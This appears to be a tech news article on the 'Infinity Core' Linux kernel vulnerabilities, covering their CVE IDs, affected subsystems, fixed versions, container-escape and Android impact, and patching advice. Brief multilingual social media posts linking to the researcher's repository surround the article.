Поэтому основная защита здесь — исправленное ядро. Ограничения отдельных функций могут снизить риск, но не заменяют обновление.
@mattiasgeniar Maybe just add V4bel/InfinityCore It will be called php2root3seconds combo
Infinity Core: six Linux kernel flaws with public exploits Security researcher Hyunwoo Kim disclosed six Linux kernel vulnerabilities, together called "Infinity Core", on the oss-security mailing list on October 16, 2026. Kim says they "can be exploited for Linux server LPE, container escape, and Android LPE." LPE, or local privilege escalation, means a normal user becomes root. Working exploits are already public, so anyone running shared Linux machines or container hosts should update their kernels now. The six Infinity Core vulnerabilities The oss-security post lists each bug with its CVE ID, the subsystem it sits in and the commit that fixed it. It gives no version numbers. The fixed kernel versions below come from SecurityOnline, not from Kim's post. | Subsystem | CVE | Bug type | Fixed in (per SecurityOnline) | |---|---|---|---| | Timer | CVE-2026-98260 | Use-after-free in POSIX CPU timer cleanup | 6.6.158, 6.12.112, 6.18.54, 7.2.8 | | Signal | CVE-2026-98256 | Use-after-free in the pending signal queue | 6.18.54, 7.2.8 | | Memory | CVE-2026-89754 | Out-of-bounds write in the page-table walker behind mincore() | 6.18.50, 7.2.4 | | Futex | CVE-2026-80775 | Use-after-free in the private futex hash setup | 6.18.47, 7.1.11, 7.2.1 | | Scheduler | CVE-2026-98385 | Use-after-free in scheduler cache accounting | 7.2.9 | | SLAB | CVE-2026-97941 | List corruption in the SLUB memory allocator | 7.2.7 | Most of these are use-after-free bugs. The kernel frees a piece of memory but keeps using it, and an attacker can refill that memory with data of their choosing. Several also depend on a race, where two operations collide at an exact moment. The timer and signal bugs, for example, are triggered when exec() fails or races in a multi-threaded program. The exec() call replaces a running program with a new one. SecurityOnline says the timer bug goes back to Linux 5.7, which is why it reaches older long-term kernels. The scheduler and SLAB bugs affect only the 7.2 series, by its account. How serious they are Five of the six come with a public proof-of-concept exploit that gives a root shell, according to Kim's GitHub repository and SecurityOnline. The sixth, the SLAB bug, only crashes the kernel so far. "An LPE chain has not yet been written," the repository says. Kim tested the exploits on Ubuntu 26.04 with kernel 7.0.0-30-generic and on Arch Linux with kernel 7.2.4-arch1-2. The scheduler bug is narrower than the rest. It needs the CONFIG_SCHED_CACHE build option and a runtime setting turned on, and its exploit assumes four virtual CPUs. SecurityOnline rates four of the bugs High, with a top CVSS score of 7.8, and two still await analysis. It reports no attacks in the wild. None of the six is in CISA's Known Exploited Vulnerabilities catalog, the US list of bugs seen in real attacks. The research deliberately skipped networking, BPF and bugs that need user namespaces. SecurityOnline argues that a common hardening step, turning off unprivileged user namespaces or BPF, would not block these bugs. Android phones are in scope The timer bug also works on Android, Kim's repository says. It gives root on a Samsung Galaxy S26 Ultra from an ordinary app, "with no additional application privileges." Kim is holding back that Android exploit. It will be published once Samsung patches its devices or someone else releases an exploit first. No Samsung advisory or patch date appears in the sources. How the disclosure happened Kim reported the bugs privately to linux-distros, the closed list where Linux vendors prepare fixes before a bug goes public. Kim's public post says the embargo agreed with those maintainers has expired. The disclosure landed two days before Linux 7.3 was released on October 18. What this means for developers Install your distribution's latest kernel and reboot. A kernel fix does nothing until the machine boots the new kernel. Distributions often backport fixes into their own version numbers. So search your vendor's security notices for the six CVE IDs rather than comparing version numbers with the table above. Patch the riskiest machines first. A container escape lets code inside one container take over the whole host. That puts Kubernetes nodes, shared build servers and CI runners first in line, especially runners that build pull requests from strangers. Do not count on disabling user namespaces or BPF as a stopgap. If you run Android test devices, install Samsung's security update when it ships, because the timer bug works from an ordinary app. The pattern is worth noting too. These bugs sit in core kernel code, such as timers, signals and the memory allocator, which every system runs. Container isolation relies on that shared kernel, so a kernel bug can cross a boundary that looks solid from user space. --- This article was first published on Tech AI Wire. Also available in Deutsch · 日本語 · Français · Español · Português Related on Tech AI Wire - Linux 7.3 released with fchroot, failfs and faster Btrfs Sources - Infinity Core: six Linux kernel vulnerabilities (oss-security post) - oss-security (Openwall) - Infinity Core: Linux Kernel Core LPEs - GitHub - Six Linux Kernel Flaws Disclosed With Public PoC Exploits for Root Access and Container Escape - SecurityOnline
你会在虚拟机里跑你不信任的代码吗? 国内,虚拟机逃逸: mp.weixin.qq.com 海外,虚拟机逃逸: pwn.ai 容器逃逸和安卓 root: V4bel/InfinityCore 最近看到各种 AI 辅助公布虚拟机逃逸,或者容器逃逸的案例,而且几乎覆盖全服务器环境,甚至 vercel 这种云托管也不能保证租户隔离的安全。InfinityCore 这种甚至还能搞安卓 root 。 以前 wannacry 出来的时候大家都说不可信的程序开虚拟机里面跑,但现在不可信的代码哪怕给 AI 去在虚拟机里面运行,都不能保证虚拟机逃逸的案例被 AI 滥用。 我是在想,当我们把不可信代码放进去就安全了,当作一个默认前提时,是不是把信任放错了地方?
6件出てますがRH系で影響あるのは2件と // V4bel/InfinityCore V4bel/InfinityCore
Security researcher V4bel has published Infinity Core, documenting six Linux kernel vulnerabilities that may enable local privilege escalation (LPE) and, in some cases, container escape. V4bel/InfinityCore
Galaxy S26 Ultra: untrusted_app → root. Introducing "Infinity Core": 6 vulns in the Linux kernel's core subsystems. Their impact spans Linux server LPE, container escape, and Android LPE. Details: V4bel/InfinityCore t.co